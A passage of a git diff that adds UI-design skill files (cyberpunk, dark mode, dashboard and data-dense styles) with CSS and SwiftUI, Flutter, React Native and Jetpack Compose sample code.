SYS.OVERRIDE + </Text> + </View> + ); +}; +``` +- React Native does not natively support clipping paths on views easily. +- **Solution**: Use `react-native-svg` to draw a `<Polygon>` that acts as the absolute-positioned background behind transparent text. + +### Jetpack Compose +```kotlin +class CyberpunkShape(private val cutSize: Dp) : Shape { + override fun createOutline( + size: Size, + layoutDirection: LayoutDirection, + density: Density + ): Outline { + val cutPx = with(density) { cutSize.toPx() } + val path = Path().apply { + moveTo(0f, 0f) + lineTo(size.width - cutPx, 0f) + lineTo(size.width, cutPx) + lineTo(size.width, size.height) + lineTo(cutPx, size.height) + lineTo(0f, size.height - cutPx) + close() + } + return Outline.Generic(path) + } +} + +@Composable +fun CyberButton() { + Box( + modifier = Modifier + .clip(CyberpunkShape(15.dp)) + .background(Color(0xFFFF003C)) + .border(2.dp, Color(0xFF00FFFF), CyberpunkShape(15.dp)) + .clickable { } + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text( + text = "SYS.OVERRIDE", + color = Color.White, + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + // Assuming custom font is loaded + ) + } +} +``` +- Create a custom `Shape` by overriding `createOutline` and tracing the `Path`. +- Pass this shape directly into `Modifier.clip()` and `Modifier.background()`. +- You can elegantly apply a border stroke directly to the custom shape using `Modifier.border()`. + +## Do's and Don'ts +- **DO**: Include tiny, meaningless technical details (crosshairs, serial numbers, "SYS.OVERRIDE" text). +- **DON'T**: Use soft, organic curves or gradients. It must be sharp and aggressive. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/dark-mode/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/dark-mode/SKILL.md new file mode 100644 index 00000000..07fb3fac --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/dark-mode/SKILL.md @@ -0,0 +1,289 @@ +--- +name: dark-mode +description: Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Dark Mode Design + +> "Not just inverted colors. A carefully constructed hierarchy of light on dark." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Never Pure Black**: True `#000000` causes smearing on OLED screens and extreme eye strain with white text. Use dark greys (e.g., `#121212` or `#0A0A0A`). +2. **Elevation via Lightness**: In light mode, shadows show elevation. In dark mode, shadows are invisible, so elevated surfaces must be lighter than the background. +3. **Desaturated Accents**: Saturated colors vibrate painfully against dark backgrounds. Tone down the saturation of brand colors. + +## Visual DNA +- **Colors**: **Midnight Luxury** or **Minimalist Slate** (inverted). Background `#121212`. Elevated cards `#1E1E1E`, `#252525`. Primary text `#E1E1E1` (not `#FFFFFF`). +- **Typography**: Standard highly readable sans-serifs, but often dropped down one font weight compared to light mode, as light text on dark backgrounds appears optically thicker. +- **Shadows**: Pure black shadows, but with much lower opacity, mostly to separate slightly different shades of grey. + +## Web Implementation +- **CSS Example**: +```css +:root { + --bg-base: #121212; + --bg-elevated-1: #1E1E1E; + --bg-elevated-2: #242424; + --text-high-emphasis: rgba(255, 255, 255, 0.87); + --text-medium-emphasis: rgba(255, 255, 255, 0.60); + + /* Accent color: Desaturated purple instead of bright purple */ + --accent-color: #BB86FC; +} + +body { + background-color: var(--bg-base); + color: var(--text-high-emphasis); + font-weight: 300; /* Thinner weight for dark mode */ +} + +.dark-card { + background-color: var(--bg-elevated-1); + border-radius: 8px; + padding: 24px; + + /* Very subtle border can help separate dark surfaces */ + border: 1px solid rgba(255, 255, 255, 0.05); +} + +.dark-card:hover { + /* On hover, the element moves closer to the user, so it gets lighter */ + background-color: var(--bg-elevated-2); +} + +.dark-btn { + background-color: var(--accent-color); + color: #000; /* Dark text on light accent is highly readable */ + font-weight: 600; + border: none; + padding: 12px 24px; + border-radius: 4px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct DarkModeView: View { + // Force Dark Mode on this specific view (or use system settings) + @Environment(\.colorScheme) var colorScheme + + var body: some View { + ScrollView { + VStack(spacing: 20) { + // Primary elevated card + VStack(alignment: .leading, spacing: 12) { + Text("Elevation via Lightness") + .font(.headline) + .foregroundColor(.primary) // Auto-adapts + Text("In dark mode, elevated surfaces are lighter grey, not shadowed.") + .font(.subheadline) + .foregroundColor(.secondary) // Auto-adapts + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + // Use native semantic colors. .secondarySystemBackground is lighter than .systemBackground + .background(Color(UIColor.secondarySystemBackground)) + .cornerRadius(12) + + // Desaturated Accent Button + Button(action: {}) { + Text("Desaturated Accent") + .fontWeight(.semibold) + .foregroundColor(.black) // Dark text on light accent + .padding() + .frame(maxWidth: .infinity) + .background(Color(red: 0.73, green: 0.52, blue: 0.98)) // #BB86FC (Desaturated purple) + .cornerRadius(8) + } + } + .padding() + } + // #121212 is the standard dark mode background, which systemBackground maps to closely + .background(Color(UIColor.systemBackground)) + } +} +// .preferredColorScheme(.dark) to force +``` +- **Rely on Semantics**: SwiftUI's `Color.primary`, `Color.secondary`, `Color(UIColor.systemBackground)` and `Color(UIColor.secondarySystemBackground)` handle perfect dark mode transitions automatically. +- Avoid forcing explicit hex codes for backgrounds unless you are building a custom-themed app. + +### Flutter +```dart +import 'package:flutter/material.dart'; + +class DarkModeApp extends StatelessWidget { + @override + Widget build(BuildContext context) { + return MaterialApp( + // Configure the Dark Theme + themeMode: ThemeMode.dark, + darkTheme: ThemeData.dark().copyWith( + scaffoldBackgroundColor: const Color(0xFF121212), // Standard dark background + cardColor: const Color(0xFF1E1E1E), // Elevated surface + colorScheme: const ColorScheme.dark().copyWith( + primary: const Color(0xFFBB86FC), // Desaturated accent + onPrimary: Colors.black, // Dark text on light accent + surface: const Color(0xFF1E1E1E), + ), + ), + home: Scaffold( + appBar: AppBar(title: const Text('Dark Mode', style: TextStyle(color: Colors.white70))), + body: ListView( + padding: const EdgeInsets.all(16), + children: [ + Card( + elevation: 0, // Shadows don't show well anyway + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(12), + side: BorderSide(color: Colors.white.withOpacity(0.05)), // Subtle border + ), + child: const Padding( + padding: EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Elevation via Lightness', style: TextStyle(fontSize: 18, fontWeight: FontWeight.bold)), + SizedBox(height: 8), + Text('Elevated surfaces use lighter greys.', style: TextStyle(color: Colors.white60)), + ], + ), + ), + ), + const SizedBox(height: 20), + ElevatedButton( + onPressed: () {}, + child: const Text('Desaturated Accent'), + ), + ], + ), + ), + ); + } +} +``` +- When using `ThemeData.dark()`, actively override `scaffoldBackgroundColor` to `#121212` and `cardColor` to `#1E1E1E`. +- Ensure your `colorScheme.onPrimary` is black so text is readable when placed on top of your desaturated primary accent button. + +### React Native +```jsx +import { useColorScheme } from 'react-native'; + +const DarkModeScreen = () => { + const isDark = useColorScheme() === 'dark'; + + // Custom dark theme dictionary + const theme = { + bgBase: isDark ? '#121212' : '#FFFFFF', + bgElevated: isDark ? '#1E1E1E' : '#F5F5F5', + textHigh: isDark ? 'rgba(255, 255, 255, 0.87)' : 'rgba(0, 0, 0, 0.87)', + textMedium: isDark ? 'rgba(255, 255, 255, 0.60)' : 'rgba(0, 0, 0, 0.60)', + accent: isDark ? '#BB86FC' : '#6200EE', // Desaturated for dark, vibrant for light + onAccent: isDark ? '#000' : '#FFF', + }; + + return ( + <View style={{ flex: 1, backgroundColor: theme.bgBase, padding: 16 }}> + <View style={{ + backgroundColor: theme.bgElevated, + padding: 24, + borderRadius: 12, + borderWidth: isDark ? 1 : 0, + borderColor: 'rgba(255,255,255,0.05)', + marginBottom: 20 + }}> + <Text style={{ color: theme.textHigh, fontSize: 18, fontWeight: 'bold', marginBottom: 8 }}> + Elevation via Lightness + </Text> + <Text style={{ color: theme.textMedium }}> + Elevated surfaces use lighter greys. + </Text> + </View> + + <TouchableOpacity style={{ + backgroundColor: theme.accent, + padding: 16, + borderRadius: 8, + alignItems: 'center' + }}> + <Text style={{ color: theme.onAccent, fontWeight: 'bold' }}>Desaturated Accent</Text> + </TouchableOpacity> + </View> + ); +}; +``` +- Rely on `useColorScheme()` hook from React Native. +- Define a strict dictionary of your color tokens. Notice how `theme.accent` shifts from a vibrant purple (`#6200EE`) in light mode to a desaturated pastel purple (`#BB86FC`) in dark mode. + +### Jetpack Compose +```kotlin +@Composable +fun DarkModeScreen() { + // Typically this logic lives in your Theme.kt + val darkColors = darkColorScheme( + background = Color(0xFF121212), + surface = Color(0xFF1E1E1E), + primary = Color(0xFFBB86FC), + onPrimary = Color.Black, + onBackground = Color.White.copy(alpha = 0.87f), + onSurface = Color.White.copy(alpha = 0.87f) + ) + + MaterialTheme(colorScheme = darkColors) { + Column( + modifier = Modifier + .fillMaxSize() + .background(MaterialTheme.colorScheme.background) + .padding(16.dp) + ) { + Card( + colors = CardDefaults.cardColors(containerColor = MaterialTheme.colorScheme.surface), + shape = RoundedCornerShape(12.dp), + border = BorderStroke(1.dp, Color.White.copy(alpha = 0.05f)) + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Elevation via Lightness", + style = MaterialTheme.typography.titleMedium, + color = MaterialTheme.colorScheme.onSurface) + Spacer(Modifier.height(8.dp)) + Text("Elevated surfaces use lighter greys.", + style = MaterialTheme.typography.bodyMedium, + color = MaterialTheme.colorScheme.onSurface.copy(alpha = 0.6f)) + } + } + + Spacer(Modifier.height(20.dp)) + + Button( + onClick = {}, + colors = ButtonDefaults.buttonColors( + containerColor = MaterialTheme.colorScheme.primary, + contentColor = MaterialTheme.colorScheme.onPrimary + ), + modifier = Modifier.fillMaxWidth().height(50.dp) + ) { + Text("Desaturated Accent", fontWeight = FontWeight.Bold) + } + } + } +} +``` +- Material 3 handles Dark Mode semantics perfectly. Define your `darkColorScheme`. +- Use `Color(0xFF1E1E1E)` for `surface` and `Color(0xFF121212)` for `background`. Compose will automatically map these to `Card`s and Scaffolds. + +## Do's and Don'ts +- **DO**: Meet WCAG contrast standards. Just because it's dark doesn't mean the text should be illegibly dim. +- **DON'T**: Use bright, highly saturated primary colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/dashboard-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/dashboard-design/SKILL.md new file mode 100644 index 00000000..ad805ccc --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/dashboard-design/SKILL.md @@ -0,0 +1,331 @@ +--- +name: dashboard-design +description: Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Dashboard Design + +> "Data at a glance. Organized, scannable, and highly functional." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Modular Grid**: The screen is broken down into functional "widgets" or cards. Usually a sidebar on the left and a top nav. +2. **Data Hierarchy**: The most important numbers (KPIs) are large and usually at the top. Charts take up the middle, and lists/tables are at the bottom. +3. **Muted Backgrounds**: A soft grey or off-white background so the white data cards stand out clearly. + +## Visual DNA +- **Colors**: **Minimalist Slate** or **Earth-Grounded Elegance**. Avoid too many colors. Use red/green strictly for positive/negative trends. +- **Typography**: Clean, tabular sans-serifs (`Inter`, `Roboto Mono` for numbers). +- **Styling**: Very subtle shadows or 1px borders to separate cards. + +## Web Implementation +- Use CSS Grid for the macro layout (Sidebar, Header, Main). +- **CSS Example**: +```css +body { + background-color: #F8F9FA; + color: #212529; + font-family: 'Inter', sans-serif; + margin: 0; +} + +.dashboard-layout { + display: grid; + grid-template-columns: 250px 1fr; + grid-template-rows: 70px 1fr; + height: 100vh; +} + +.sidebar { + grid-row: 1 / 3; + background-color: #ffffff; + border-right: 1px solid #e9ecef; + padding: 20px; +} + +.header { + background-color: #ffffff; + border-bottom: 1px solid #e9ecef; + padding: 0 30px; + display: flex; + align-items: center; +} + +.main-content { + padding: 30px; + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 20px; + overflow-y: auto; +} + +/* KPI Card */ +.kpi-card { + background: #fff; + border-radius: 8px; + padding: 24px; + border: 1px solid #e9ecef; + box-shadow: 0 2px 4px rgba(0,0,0,0.02); +} + +.kpi-title { font-size: 0.9rem; color: #6c757d; } +.kpi-value { font-size: 2rem; font-weight: 700; margin-top: 8px; } +.kpi-trend.positive { color: #28a745; } +``` + +## App Implementation + +### SwiftUI +```swift +struct DashboardView: View { + // For iPad/Mac, NavigationSplitView is ideal. + // For iPhone, we use a scrolling VGrid. + let columns = [ + GridItem(.adaptive(minimum: 150), spacing: 16) + ] + + var body: some View { + NavigationView { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + KPICard(title: "Revenue", value: "$45,231", trend: "+12.5%", isPositive: true) + KPICard(title: "Active Users", value: "2,405", trend: "+4.1%", isPositive: true) + KPICard(title: "Churn Rate", value: "1.2%", trend: "-0.4%", isPositive: false) + KPICard(title: "Avg. Session", value: "4m 12s", trend: "+0.1%", isPositive: true) + } + .padding() + + // Placeholder for Chart + RoundedRectangle(cornerRadius: 12) + .fill(Color.white) + .frame(height: 250) + .overlay(Text("Chart Area").foregroundColor(.gray)) + .padding(.horizontal) + } + .background(Color(UIColor.systemGroupedBackground)) + .navigationTitle("Overview") + } + } +} + +struct KPICard: View { + let title: String + let value: String + let trend: String + let isPositive: Bool + + var body: some View { + VStack(alignment: .leading, spacing: 8) { + Text(title).font(.subheadline).foregroundColor(.secondary) + Text(value).font(.title2).fontWeight(.bold) + Text(trend) + .font(.caption) + .fontWeight(.semibold) + .foregroundColor(isPositive ? .green : .red) + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(12) + .shadow(color: Color.black.opacity(0.02), radius: 4, y: 2) + } +} +``` +- Dashboards require `.adaptive` grids. `LazyVGrid` handles rearranging 4 cards in a row on iPad down to 2 cards on iPhone automatically. +- Use `Color(UIColor.systemGroupedBackground)` to provide that subtle off-white contrast against stark white cards. + +### Flutter +```dart +class DashboardScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF8F9FA), + appBar: AppBar( + title: const Text('Overview', style: TextStyle(color: Colors.black)), + backgroundColor: Colors.white, + elevation: 1, + ), + // On tablets, use a Row with NavigationRail. On mobile, use Drawer. + drawer: const Drawer(), + body: CustomScrollView( + slivers: [ + SliverPadding( + padding: const EdgeInsets.all(16), + sliver: SliverGrid.extent( + maxCrossAxisExtent: 200, // Adapts layout based on width + mainAxisSpacing: 16, + crossAxisSpacing: 16, + childAspectRatio: 1.5, + children: [ + _buildKPI('Revenue', '\$45,231', '+12.5%', true), + _buildKPI('Active Users', '2,405', '+4.1%', true), + _buildKPI('Churn Rate', '1.2%', '-0.4%', false), + _buildKPI('Avg. Session', '4m 12s', '+0.1%', true), + ], + ), + ), + SliverPadding( + padding: const EdgeInsets.symmetric(horizontal: 16), + sliver: SliverToBoxAdapter( + child: Container( + height: 250, + decoration: BoxDecoration(color: Colors.white, borderRadius: BorderRadius.circular(12)), + child: const Center(child: Text('Chart Area', style: TextStyle(color: Colors.grey))), + ), + ), + ), + ], + ), + ); + } + + Widget _buildKPI(String title, String value, String trend, bool isPositive) { + return Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(12), + border: Border.all(color: Colors.grey[200]!), + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Text(title, style: const TextStyle(color: Colors.grey, fontSize: 14)), + const SizedBox(height: 8), + Text(value, style: const TextStyle(fontSize: 24, fontWeight: FontWeight.bold)), + Text(trend, style: TextStyle(color: isPositive ? Colors.green : Colors.red, fontWeight: FontWeight.w600)), + ], + ), + ); + } +} +``` +- `SliverGrid.extent` with a `maxCrossAxisExtent` is the responsive magic bullet for Flutter dashboards. It handles varying screen widths flawlessly. +- For charts, the `fl_chart` package is the gold standard in Flutter. + +### React Native +```jsx +const DashboardScreen = () => { + return ( + <ScrollView style={{ flex: 1, backgroundColor: '#F8F9FA' }}> + <View style={{ padding: 16, flexDirection: 'row', flexWrap: 'wrap', gap: 16 }}> + <KPICard title="Revenue" value="$45,231" trend="+12.5%" isPositive={true} /> + <KPICard title="Users" value="2,405" trend="+4.1%" isPositive={true} /> + <KPICard title="Churn" value="1.2%" trend="-0.4%" isPositive={false} /> + <KPICard title="Session" value="4m 12s" trend="+0.1%" isPositive={true} /> + </View> + + <View style={{ paddingHorizontal: 16, paddingBottom: 32 }}> + <View style={{ height: 250, backgroundColor: '#FFF', borderRadius: 12, justifyContent: 'center', alignItems: 'center' }}> + <Text style={{ color: '#999' }}>Chart Area</Text> + </View> + </View> + </ScrollView> + ); +}; + +const KPICard = ({ title, value, trend, isPositive }) => ( + <View style={{ + backgroundColor: '#FFF', + padding: 16, + borderRadius: 8, + borderWidth: 1, + borderColor: '#E9ECEF', + flexBasis: '47%', // roughly half width minus gap + minWidth: 150 + }}> + <Text style={{ color: '#6C757D', fontSize: 14, marginBottom: 4 }}>{title}</Text> + <Text style={{ fontSize: 22, fontWeight: '700', marginBottom: 4 }}>{value}</Text> + <Text style={{ color: isPositive ? '#28A745' : '#DC3545', fontWeight: '600', fontSize: 12 }}>{trend}</Text> + </View> +); +``` +- To make responsive flex grids in React Native, use `flexDirection: 'row'`, `flexWrap: 'wrap'`, and set the children to `flexBasis: '47%'`. +- For heavy data visualization, look into `victory-native` or `@shopify/react-native-skia`. + +### Jetpack Compose +```kotlin +@Composable +fun DashboardScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF8F9FA)) + .verticalScroll(rememberScrollState()) + ) { + // Top App Bar substitute + Text( + text = "Overview", + style = MaterialTheme.typography.headlineSmall, + fontWeight = FontWeight.Bold, + modifier = Modifier.padding(16.dp) + ) + + // KPI Grid + LazyVerticalGrid( + columns = GridCells.Adaptive(minSize = 150.dp), + contentPadding = PaddingValues(horizontal = 16.dp), + horizontalArrangement = Arrangement.spacedBy(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp), + modifier = Modifier.heightIn(max = 400.dp) // Bound the grid height in scrollview + ) { + item { KPICard("Revenue", "$45,231", "+12.5%", true) } + item { KPICard("Active Users", "2,405", "+4.1%", true) } + item { KPICard("Churn Rate", "1.2%", "-0.4%", false) } + item { KPICard("Avg. Session", "4m 12s", "+0.1%", true) } + } + + Spacer(Modifier.height(16.dp)) + + // Chart Area + Box( + modifier = Modifier + .fillMaxWidth() + .padding(horizontal = 16.dp) + .height(250.dp) + .background(Color.White, RoundedCornerShape(12.dp)) + .border(1.dp, Color(0xFFE9ECEF), RoundedCornerShape(12.dp)), + contentAlignment = Alignment.Center + ) { + Text("Chart Area", color = Color.Gray) + } + + Spacer(Modifier.height(32.dp)) + } +} + +@Composable +fun KPICard(title: String, value: String, trend: String, isPositive: Boolean) { + Column( + modifier = Modifier + .background(Color.White, RoundedCornerShape(8.dp)) + .border(1.dp, Color(0xFFE9ECEF), RoundedCornerShape(8.dp)) + .padding(16.dp) + ) { + Text(title, color = Color.Gray, fontSize = 14.sp) + Spacer(Modifier.height(4.dp)) + Text(value, fontSize = 22.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(4.dp)) + Text(trend, color = if (isPositive) Color(0xFF28A745) else Color(0xFFDC3545), fontWeight = FontWeight.SemiBold, fontSize = 12.sp) + } +} +``` +- `GridCells.Adaptive(minSize = 150.dp)` creates the responsive card layout automatically. +- Warning: Nesting `LazyVerticalGrid` inside a `Column` with `.verticalScroll` can cause height calculation issues. You must use `.heightIn(max=...)` on the grid, or completely convert the entire layout to a single `LazyVerticalGrid` where the chart is just a `GridItemSpan(maxLineSpan)` element. + +## Do's and Don'ts +- **DO**: Right-align numbers in tables so they are easier to scan and compare. +- **DON'T**: Clutter cards with unnecessary decorative images. The data is the decoration. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/data-dense-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/data-dense-design/SKILL.md new file mode 100644 index 00000000..be9aa051 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/data-dense-design/SKILL.md @@ -0,0 +1,322 @@ +--- +name: data-dense-design +description: Web and App implementation guide for Data-Dense Design. Trigger when user wants professional tools, maximum information density, and expert interfaces (like Bloomberg terminals or IDEs). +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Data-Dense Design + +> "Density is a feature. For expert users, reducing clicks is more important than whitespace." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Compact Layouts**: Extremely tight margins and padding (often 2px to 4px). +2. **Monospace & Tabular Data**: Numbers must align vertically perfectly. +3. **High Utility**: Every pixel serves a functional purpose. Minimal purely decorative elements. + +## Visual DNA +- **Colors**: **Industrial Chic** (high contrast) or **Minimalist Slate**. Avoid bright backgrounds. Dark themes are heavily preferred to reduce eye strain over 8-hour sessions. +- **Typography**: Small base sizes (`11px` - `13px`). Strict use of monospace fonts (`Fira Code`, `JetBrains Mono`) for data. +- **Borders**: Thin `1px` borders (`#333` or `#e0e0e0`) are used extensively to separate tiny cells of data. + +## Web Implementation +- Tables, CSS Grid, and Flexbox with zero gap. +- **CSS Example**: +```css +body { + background-color: #1e1e1e; /* IDE Dark */ + color: #cccccc; + font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; + font-size: 12px; /* Very small */ + margin: 0; +} + +.dense-toolbar { + display: flex; + background-color: #2d2d2d; + border-bottom: 1px solid #3c3c3c; + padding: 2px 4px; +} + +.dense-btn { + background: transparent; + color: #ccc; + border: 1px solid transparent; + padding: 2px 8px; + border-radius: 2px; + cursor: pointer; +} +.dense-btn:hover { + background-color: #3c3c3c; + border-color: #555; +} + +/* Dense Data Table */ +.data-table { + width: 100%; + border-collapse: collapse; + font-family: 'JetBrains Mono', monospace; +} + +.data-table th, .data-table td { + padding: 4px 8px; + border: 1px solid #3c3c3c; + text-align: right; /* Numbers align right */ +} + +.data-table tr:nth-child(even) { background-color: #252526; } +.data-table tr:hover { background-color: #094771; color: #fff; } /* Selection highlight */ +``` + +## App Implementation + +### SwiftUI +```swift +struct DataDenseView: View { + var body: some View { + ScrollView([.horizontal, .vertical]) { + Grid(horizontalSpacing: 0, verticalSpacing: 0) { + // Header Row + GridRow { + HeaderCell("SYM") + HeaderCell("BID") + HeaderCell("ASK") + HeaderCell("CHG") + } + + // Data Rows + DataRow(sym: "AAPL", bid: "173.40", ask: "173.45", chg: "+0.12", isPos: true) + DataRow(sym: "MSFT", bid: "320.10", ask: "320.15", chg: "-0.45", isPos: false) + DataRow(sym: "GOOG", bid: "135.20", ask: "135.30", chg: "+0.02", isPos: true) + } + .border(Color.gray.opacity(0.3), width: 1) + } + .background(Color(white: 0.12)) // Dark IDE background + } +} + +struct HeaderCell: View { + let text: String + init(_ text: String) { self.text = text } + var body: some View { + Text(text) + .font(.system(size: 11, weight: .bold, design: .monospaced)) + .foregroundColor(.gray) + .padding(4) + .frame(minWidth: 60, alignment: .leading) + .border(Color.gray.opacity(0.3), width: 0.5) + .background(Color(white: 0.18)) + } +} + +struct DataRow: View { + let sym, bid, ask, chg: String + let isPos: Bool + var body: some View { + GridRow { + Cell(sym, color: .white) + Cell(bid, color: .white, align: .trailing) + Cell(ask, color: .white, align: .trailing) + Cell(chg, color: isPos ? .green : .red, align: .trailing) + } + } +} + +struct Cell: View { + let text: String + let color: Color + let align: Alignment + init(_ text: String, color: Color, align: Alignment = .leading) { + self.text = text; self.color = color; self.align = align + } + var body: some View { + Text(text) + .font(.system(size: 12, design: .monospaced)) + .foregroundColor(color) + .padding(4) + .frame(minWidth: 60, alignment: align) + .border(Color.gray.opacity(0.3), width: 0.5) + } +} +``` +- Use `Grid` with `0` spacing. +- Font must be `.system(..., design: .monospaced)`. +- Use a `.border()` with `0.5` width on every single cell to recreate the dense spreadsheet look. + +### Flutter +```dart +class DataDenseScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF1E1E1E), + body: SingleChildScrollView( + scrollDirection: Axis.vertical, + child: SingleChildScrollView( + scrollDirection: Axis.horizontal, + child: Theme( + // Override theme specifically to make the table hyper-dense + data: Theme.of(context).copyWith( + dividerColor: Colors.grey[800], + ), + child: DataTable( + headingRowHeight: 28, // Extremely dense + dataRowMinHeight: 24, + dataRowMaxHeight: 24, // Extremely dense + columnSpacing: 16, + border: TableBorder.all(color: Colors.grey[800]!, width: 1), + columns: const [ + DataColumn(label: Text('SYM', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono'))), + DataColumn(label: Text('BID', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono')), numeric: true), + DataColumn(label: Text('ASK', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono')), numeric: true), + ], + rows: [ + _buildRow('AAPL', '173.40', '173.45'), + _buildRow('MSFT', '320.10', '320.15'), + _buildRow('GOOG', '135.20', '135.30'), + ], + ), + ), + ), + ), + ); + } + + DataRow _buildRow(String sym, String bid, String ask) { + const style = TextStyle(color: Colors.white, fontSize: 12, fontFamily: 'RobotoMono'); + return DataRow( + cells: [ + DataCell(Text(sym, style: style)), + DataCell(Text(bid, style: style)), + DataCell(Text(ask, style: style)), + ], + ); + } +} +``` +- Flutter's `DataTable` is perfect, but you must manually crush the `headingRowHeight` and `dataRowHeight` down from their Material defaults (which are huge). +- Wrap in dual `SingleChildScrollView` to allow panning around large data sets. + +### React Native +```jsx +const DataDenseScreen = () => { + return ( + <ScrollView style={{ backgroundColor: '#1E1E1E', flex: 1 }}> + <ScrollView horizontal> + <View style={{ borderWidth: 1, borderColor: '#333' }}> + {/* Header */} + <View style={{ flexDirection: 'row', backgroundColor: '#2D2D2D' }}> + <HeaderCell text="SYM" width={60} /> + <HeaderCell text="BID" width={80} align="right" /> + <HeaderCell text="ASK" width={80} align="right" /> + <HeaderCell text="CHG" width={60} align="right" /> + </View> + + {/* Rows */} + <DataRow sym="AAPL" bid="173.40" ask="173.45" chg="+0.12" isPos={true} /> + <DataRow sym="MSFT" bid="320.10" ask="320.15" chg="-0.45" isPos={false} /> + </View> + </ScrollView> + </ScrollView> + ); +}; + +const HeaderCell = ({ text, width, align = 'left' }) => ( + <View style={{ width, padding: 4, borderWidth: 0.5, borderColor: '#333' }}> + <Text style={{ color: '#999', fontSize: 11, fontFamily: 'monospace', textAlign: align, fontWeight: 'bold' }}> + {text} + </Text> + </View> +); + +const DataRow = ({ sym, bid, ask, chg, isPos }) => ( + <View style={{ flexDirection: 'row' }}> + <Cell text={sym} width={60} /> + <Cell text={bid} width={80} align="right" /> + <Cell text={ask} width={80} align="right" /> + <Cell text={chg} width={60} align="right" color={isPos ? '#4CAF50' : '#F44336'} /> + </View> +); + +const Cell = ({ text, width, align = 'left', color = '#CCC' }) => ( + <View style={{ width, padding: 4, borderWidth: 0.5, borderColor: '#333' }}> + <Text style={{ color, fontSize: 12, fontFamily: 'monospace', textAlign: align }}> + {text} + </Text> + </View> +); +``` +- React Native doesn't have a native Table component, so you must construct a grid using `flexDirection: 'row'` and strict `width` properties on cells. +- Double scroll views (one vertical, one horizontal inside it) are standard for mobile data tables. + +### Jetpack Compose +```kotlin +@Composable +fun DataDenseScreen() { + val scrollStateHorizontal = rememberScrollState() + val scrollStateVertical = rememberScrollState() + + Box( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF1E1E1E)) + .verticalScroll(scrollStateVertical) + .horizontalScroll(scrollStateHorizontal) + .padding(8.dp) + ) { + Column(modifier = Modifier.border(1.dp, Color(0xFF333333))) { + // Header + Row(modifier = Modifier.background(Color(0xFF2D2D2D))) { + Cell("SYM", 60.dp, Color.Gray, true) + Cell("BID", 80.dp, Color.Gray, true, TextAlign.End) + Cell("ASK", 80.dp, Color.Gray, true, TextAlign.End) + } + + // Rows + DataRow("AAPL", "173.40", "173.45") + DataRow("MSFT", "320.10", "320.15") + } + } +} + +@Composable +fun DataRow(sym: String, bid: String, ask: String) { + Row { + Cell(sym, 60.dp, Color.White, false) + Cell(bid, 80.dp, Color.White, false, TextAlign.End) + Cell(ask, 80.dp, Color.White, false, TextAlign.End) + } +} + +@Composable +fun Cell(text: String, width: Dp, color: Color, isHeader: Boolean, align: TextAlign = TextAlign.Start) { + Text( + text = text, + color = color, + fontSize = if (isHeader) 11.sp else 12.sp, + fontWeight = if (isHeader) FontWeight.Bold else FontWeight.Normal, + fontFamily = FontFamily.Monospace, + textAlign = align, + modifier = Modifier + .width(width) + .border(0.5.dp, Color(0xFF333333)) + .padding(4.dp) + ) +} +``` +- Chain `.verticalScroll()` and `.horizontalScroll()` on the root `Box`. +- Compose allows `.border()` directly on `Text` modifiers, making spreadsheet grids very clean to implement without wrapping everything in `Box`es. + +## Do's and Don'ts +- **DO**: Use color coding 